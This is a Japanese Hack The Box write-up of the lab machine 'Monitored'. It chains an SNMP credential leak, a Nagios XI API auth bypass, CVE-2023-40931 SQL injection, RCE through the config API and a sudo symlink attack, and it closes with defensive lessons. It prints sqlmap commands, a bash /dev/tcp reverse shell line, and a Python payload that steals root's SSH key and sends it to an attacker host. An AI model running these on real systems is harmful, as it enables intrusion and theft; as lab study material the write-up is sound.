Hack The BoxのWriteup(Monitored)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Monitored — 全実行コマンド・実行結果レポート
Nmap
Nagios XI 検出
SNMP walk
svc認証情報漏洩
トークンバイパス
無効化アカウント
SQLi
CVE-2023-40931
api_key窃取
nagiosadmin
Config API RCE
check_command悪用
user.txt
getprofile.sh
symlink攻撃
root.txt

ポートスキャン & hosts 設定

BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.230.96
nmap -sV -sC -p 22,80,389,443 10.129.230.96
sudo nmap -sU --top-ports 10 -sV 10.129.230.96
RESULT (実機ライブ確認)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.4p1 Debian 5+deb11u2
80/tcp  open  http     Apache httpd 2.4.56
389/tcp open  ldap     OpenLDAP 2.2.X - 2.3.X
443/tcp open  ssl/http Apache httpd 2.4.56 ((Nagios XI))

161/udp open  snmp     SNMPv1 server; net-snmp SNMPv3 server (public)
123/udp open  ntp
BASH
echo "10.129.230.96 nagios.monitored.htb" | sudo tee -a /etc/hosts
HTTP は HTTPS (https://nagios.monitored.htb/) へリダイレクトされ、 Nagios XI のログイン画面が表示される。UDP 161/snmp が (community文字列 public) 追加で開いている点が攻略の糸口になる。
PHASE 2

SNMP 経由の平文認証情報漏洩

スコープを絞った snmpwalk

⚠️
実機での重要な注意: OID を指定しないフル snmpwalk -v 2c -c public <target> は MIB ツリー全体が 非常に大きく、90秒以上待っても完走しない。漏洩箇所は HOST-RESOURCES-MIB::hrSWRunParameters (1.3.6.1.2.1.25.4.2.1.5、プロセス起動引数) と判明しているため、 このサブツリーだけにスコープを絞ると約55秒で完走する。
BASH
snmpwalk -v 2c -c public 10.129.230.96 1.3.6.1.2.1.25.4.2.1.5
RESULT (実機ライブ確認、抜粋)
iso.3.6.1.2.1.25.4.2.1.5.591 = STRING: "-c sleep 30; sudo -u svc /bin/bash -c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB "
iso.3.6.1.2.1.25.4.2.1.5.1377 = STRING: "-u svc /bin/bash -c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB"
iso.3.6.1.2.1.25.4.2.1.5.1378 = STRING: "-c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB"
🚨
NRPE監視スクリプトのプロセス起動引数から 平文認証情報 svc:XjH7VCehowpR1xZB が漏洩している。

Web ログインは失敗する (アカウント無効化)

NOTE
svc:XjH7VCehowpR1xZB で Nagios XI Web UI にログインを試みるが、
"The specified user account has been disabled or does not exist." と
表示されログインできない。
PHASE 3

無効化アカウントのトークンバイパス

API 認証トークン取得

BASH
curl -sk --silent "https://nagios.monitored.htb/nagiosxi/api/v1/authenticate" \
  -d "username=svc&password=XjH7VCehowpR1xZB&valid_min=60"
RESULT (実機ライブ確認)
{
  "username": "svc",
  "user_id": "2",
  "auth_token": "2b1f994527bcd15e077a2a43b224b9037509f917",
  "valid_min": 60,
  "valid_until": "..."
}
🚨
認証バイパス: Web UI ログインは無効化アカウントとして拒否されるが、 Nagios XI API の authenticate エンドポイントは 無効化されたアカウントでも auth_token を発行してしまう

セッション Cookie の取得

BASH
curl -sk -c cookies.txt \
  "https://nagios.monitored.htb/nagiosxi/index.php?token=<auth_token>"
ℹ️
実装上のハマりどころ: 発行される Nagios XI セッション Cookie は HttpOnly 属性付きのため、curl の Netscape 形式クッキージャーでは 行が #HttpOnly_<domain> という形式で始まる。単純に 「# で始まる行はコメント」として無視するスクリプトを書くと、 このセッション Cookie そのものを誤って除外してしまう。
PHASE 4

SQL Injection in Announcement Banners (CVE-2023-40931)

脆弱性の確認

NOTE
Nagios XI 5.11.1 以前には Outpost24 が報告した4つの脆弱性がある。
/nagiosxi/admin/banner_message-ajaxhelper.php の id パラメータが
SQLi 脆弱 (xi_session/xi_users テーブルからメール・ユーザー名・
パスワードハッシュ・API トークンを抽出可能、認証済み低権限ユーザーで
悪用可能、バナーIDの実在は不要)。
BASH (BurpSuite Repeater)
POST /nagiosxi/admin/banner_message-ajaxhelper.php HTTP/1.1
Host: nagios.monitored.htb
Cookie: nagiosxi=<session_cookie>
Content-Type: application/x-www-form-urlencoded

action=acknowledge_banner_message&id=*
RESULT
<pre>
  SQL Error [nagiosxi] : You have an error in your SQL syntax; check the
  manual that corresponds to your MariaDB server version for the right
  syntax to use near '*' and user_id = '2' at line 1
</pre>
{"message":"Failed to acknowledge message.","msg_type":"error"}
SQL エラーが確認でき、SQLi が可能と判明。

sqlmap によるダンプ (error-based技法限定)

⚠️
実機での重要な注意: 技法を指定しない sqlmap は boolean/error/time-based の全技法を順に検証しようとし、time-based blind の二分探索が非常に遅く 300秒のタイムアウト内に完走しない。 PDF で確認されている --technique=E (error-based) のみに 限定すると約44〜144秒で完走する。
BASH
sqlmap -u "https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3" \
  --batch -p id --cookie "nagiosxi=<session_cookie>" --technique=E \
  -D nagiosxi -T xi_users --dump --threads=5
RESULT (実機ライブ確認)
Database: nagiosxi
Table: xi_users
[2 entries]
+---------+----------------------+-------------+-----------------------------------------------------------------+
| user_id | email                | username    | api_key                                                          |
+---------+----------------------+-------------+-----------------------------------------------------------------+
| 1       | admin@monitored.htb  | nagiosadmin | IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL |
| 2       | svc@monitored.htb    | svc         | 2huuT2u2QIPqFuJHnkPEEuibGJaJIcHCFDpDb29qSFVlbdO4HJkjfg2VpDNE3PEK |
+---------+----------------------+-------------+-----------------------------------------------------------------+
🚨
パスワードハッシュ (bcrypt) はクラック不能だが、API キーは平文でそのまま利用可能nagiosadmin の api_key IudGPHd9...CHLL を窃取。

API キーで管理者ユーザーを新規作成 (任意/永続化用)

BASH
curl -sk --silent \
  "https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=<api_key>" \
  -d "username=tcg&password=YoullNeverGuessThis&name=TCG&email=tcg@localhost&auth_level=admin"
RESULT (実機ライブ確認)
{"success":"User account tcg was added successfully!","user_id":6}
PHASE 5

Nagios Config API 悪用による RCE & user.txt

実機で判明した重要な罠 (5点)

#詳細
1 “Objects API” は実在しない objects/command での作成や objects/host への PUT は {"error":"Unknown API endpoint."} を返す。正しいのは config/command(POST) でコマンド作成、 config/host(POST) で host_name 一致による upsert 更新。
2 bash の /dev/tcp がNagios実行コンテキストで機能しない bash -i >& /dev/tcp/IP/PORT 0>&1 はチェック実行が30秒 (host_check_timeout既定値) でタイムアウトするだけで、TCP接続自体が 一切発生しない (ICMP ping は同じコンテキストで問題なく成功するため egress遮断が原因ではない)。Python の socket ベースの ペイロードに置き換えると解決する。
3 command_line がリテラルの ; で切断される Nagios の .cfg 設定行フォーマットはセミコロン以降を コメント扱いするため、API はその直前で値をサイレントに切り捨てる。 __import__('base64') を式に埋め込みセミコロン無しの 単一式にすることで回避 (複数行スクリプトは base64 で1つの 文字列にまとめて渡す)。
4 Apply Configuration はチェックを即座に起動しない Nagios コアは再起動するが、既存ホストの次回チェック時刻は 再起動時刻から再計算されず、以前の last_check + check_interval のスケジュールがそのまま維持される (実機で5分間隔を確認)。 最大 check_interval 分 (既定5分) 待つ必要がある。
5 複数回のRCE実行は非効率 user.txt 取得と権限昇格を別々のチェック実行に分けると 1ステップごとに最大5分待つことになる。 単一の Python ペイロード内で全ステップを実行し、 結果をまとめて1回のTCPコネクションで外部送信することで チェック実行1回で完結させる。

悪意あるチェックコマンドの作成 (Config API)

PYTHON (base64 エンコードして埋め込むペイロード)
import socket,subprocess

out = []
def run(cmd):
    r = subprocess.run(cmd, shell=True, capture_output=True, timeout=12)
    return r.stdout.decode(errors="replace") + r.stderr.decode(errors="replace")

out.append("=== user.txt ===")
out.append(run("cat /home/nagios/user.txt"))

out.append("=== symlink attack ===")
run("rm -f /usr/local/nagiosxi/tmp/phpmailer.log")
run("ln -s /root/.ssh/id_rsa /usr/local/nagiosxi/tmp/phpmailer.log")
out.append(run("sudo /usr/local/nagiosxi/scripts/components/getprofile.sh 1"))
out.append(run("cp /usr/local/nagiosxi/var/components/profile.zip /tmp/ 2>&1"))
out.append(run("cd /tmp && unzip -o profile.zip 2>&1"))

out.append("=== root key ===")
out.append(run("cat /tmp/profile-*/phpmailer.log 2>/dev/null"))

data = "\n".join(out)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("<kali_ip>", 14901))
s.sendall(data.encode())
s.close()
BASH (API呼び出し)
# python3 -c "exec(__import__('base64').b64decode('<b64>').decode())" として
# command_line にセット (セミコロン不使用)
curl -sk -X POST "https://nagios.monitored.htb/nagiosxi/api/v1/config/command?apikey=<api_key>" \
  --data-urlencode "command_name=afullrce" \
  --data-urlencode "command_line=python3 -c \"exec(__import__('base64').b64decode('<b64>').decode())\""

curl -sk -X POST "https://nagios.monitored.htb/nagiosxi/api/v1/config/host?apikey=<api_key>" \
  --data-urlencode "host_name=localhost" \
  --data-urlencode "address=127.0.0.1" \
  --data-urlencode "check_command=afullrce" \
  --data-urlencode "max_check_attempts=1" \
  --data-urlencode "check_period=24x7" \
  --data-urlencode "notification_interval=0" \
  --data-urlencode "notification_period=24x7" \
  --data-urlencode "contacts=nagiosadmin"

curl -sk -XPOST "https://nagios.monitored.htb/nagiosxi/api/v1/system/applyconfig?apikey=<api_key>"
RESULT (実機ライブ確認 — 約5分後、既存チェックスケジュールにより自動発火)
connect to [10.10.15.201] from (UNKNOWN) [10.129.230.96] 32906
=== user.txt ===
1578314bae5044230a12d29a927bb56e

=== symlink attack ===
-------------------Fetching Information-------------------
...
Backup and Zip complete!
Archive:  profile.zip
  inflating: profile-1786932435/phpmailer.log

=== root key ===
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAB...(略)
-----END OPENSSH PRIVATE KEY-----
1回のチェック実行で user.txt の内容と root の SSH秘密鍵の両方を取得。 以降の getprofile.sh symlink 攻撃 (Phase 6) は既にこの実行内で完了している。
user.txt — /home/nagios/user.txt
1578314bae5044230a12d29a927bb56e
PHASE 6

getprofile.sh symlink 攻撃 & root.txt

sudo 権限の確認と脆弱スクリプト

NOTE
nagios ユーザーは /usr/local/nagiosxi/scripts/components/getprofile.sh を
NOPASSWD で root 権限実行可能 (sudo -l で確認)。同スクリプトは
/usr/local/nagiosxi/tmp/phpmailer.log が存在すればシンボリックリンク解決
せずに tail -100 して profile zip へコピーする実装になっている。
BASH (getprofile.sh の該当箇所)
echo "Getting phpmailer.log..."
if [ -f /usr/local/nagiosxi/tmp/phpmailer.log ]; then
    tail -100 /usr/local/nagiosxi/tmp/phpmailer.log > \
      "/usr/local/nagiosxi/var/components/profile/$folder/phpmailer.log"
fi

symlink 攻撃の実行 (Phase 5 のペイロード内で実行済み)

SHELL (RCEペイロード内、nagios権限)
rm -f /usr/local/nagiosxi/tmp/phpmailer.log
ln -s /root/.ssh/id_rsa /usr/local/nagiosxi/tmp/phpmailer.log
sudo /usr/local/nagiosxi/scripts/components/getprofile.sh 1
cp /usr/local/nagiosxi/var/components/profile.zip /tmp/
cd /tmp && unzip -o profile.zip
cat /tmp/profile-*/phpmailer.log
🚨
getprofile.sh$folder のサニタイズやコピー元パスの シンボリックリンク検証を行わないため、phpmailer.log/root/.ssh/id_rsa へのシンボリックリンクに差し替えてから root権限で実行させると、root の SSH 秘密鍵が nagios 権限で 読み取り可能な zip ファイルへコピーされる

root SSH 秘密鍵で root.txt を取得

BASH
chmod 600 monitored_root_id_rsa
ssh -i monitored_root_id_rsa -o StrictHostKeyChecking=no root@10.129.230.96 \
  "whoami; cat /root/root.txt"
RESULT (実機ライブ確認)
root
b8111573a19e2bdd903a78d5707760bc
root.txt — /root/root.txt
b8111573a19e2bdd903a78d5707760bc
SUMMARY

攻略サマリー & 教訓

使用した脆弱性

脆弱性対象影響深刻度利用方法
SNMP community “public” によるプロセス引数漏洩 UDP 161/snmp 平文認証情報の漏洩 High hrSWRunParameters OID のプロセス起動引数から svc の資格情報を取得
無効化アカウントに対する API トークン発行 Nagios XI /api/v1/authenticate 認証バイパス Critical Web UIでは拒否される無効化アカウントでも API はトークンを発行
CVE-2023-40931 SQL Injection banner_message-ajaxhelper.phpid パラメータ DB内容の窃取 (api_key含む) Critical sqlmap (error-based技法) で xi_users テーブルをダンプし nagiosadmin の api_key を窃取
Config API 経由の悪意あるチェックコマンド作成 Nagios XI Config API リモートコード実行 Critical api_key で check_command を書き換え、スケジュール済みチェックとして実行
getprofile.sh のシンボリックリンク未検証 /usr/local/nagiosxi/scripts/components/getprofile.sh root SSH秘密鍵の窃取 Critical NOPASSWD sudo実行可能なスクリプトのコピー元をsymlinkですり替え、root権限で読み取り不可なファイルを取得

取得したフラグ

フラグパス
user.txt/home/nagios/user.txt1578314bae5044230a12d29a927bb56e
root.txt/root/root.txtb8111573a19e2bdd903a78d5707760bc

学んだ教訓 & 防御策

問題点防御策
SNMP community “public” (読み取り専用) がプロセス起動引数に含まれる平文認証情報を漏洩 SNMP の community 文字列を推測困難な値に変更し、監視スクリプトに認証情報をコマンドライン引数として渡す運用自体を避ける (環境変数や設定ファイルを使う)。
無効化されたアカウントでも API 認証エンドポイントがトークンを発行してしまう API 認証処理でもアカウントの enabled/disabled ステータスを必ずチェックする。Web UI とAPIで認可ロジックを一元化する。
ユーザー入力を直接 SQL クエリに結合 (CVE-2023-40931) プリペアドステートメント/パラメータ化クエリを徹底する。ベンダー提供のセキュリティパッチを適用する (Nagios XI 5.11.1 以降で修正済み)。
API キーだけで任意のチェックコマンドを作成・適用でき、それが直接コード実行につながる設計 API キーの権限を最小化し、コマンド定義の変更には追加の承認/監査ログを要求する。監視対象ホストの check_command を一般ユーザーが変更できないようにする。
root権限で実行されるスクリプトがコピー元ファイルのシンボリックリンクを検証しない root権限スクリプトでファイル操作を行う際は readlinkos.path.realpath で実体パスを検証し、想定ディレクトリ外への読み取りを拒否する。
HackTheBox: Monitored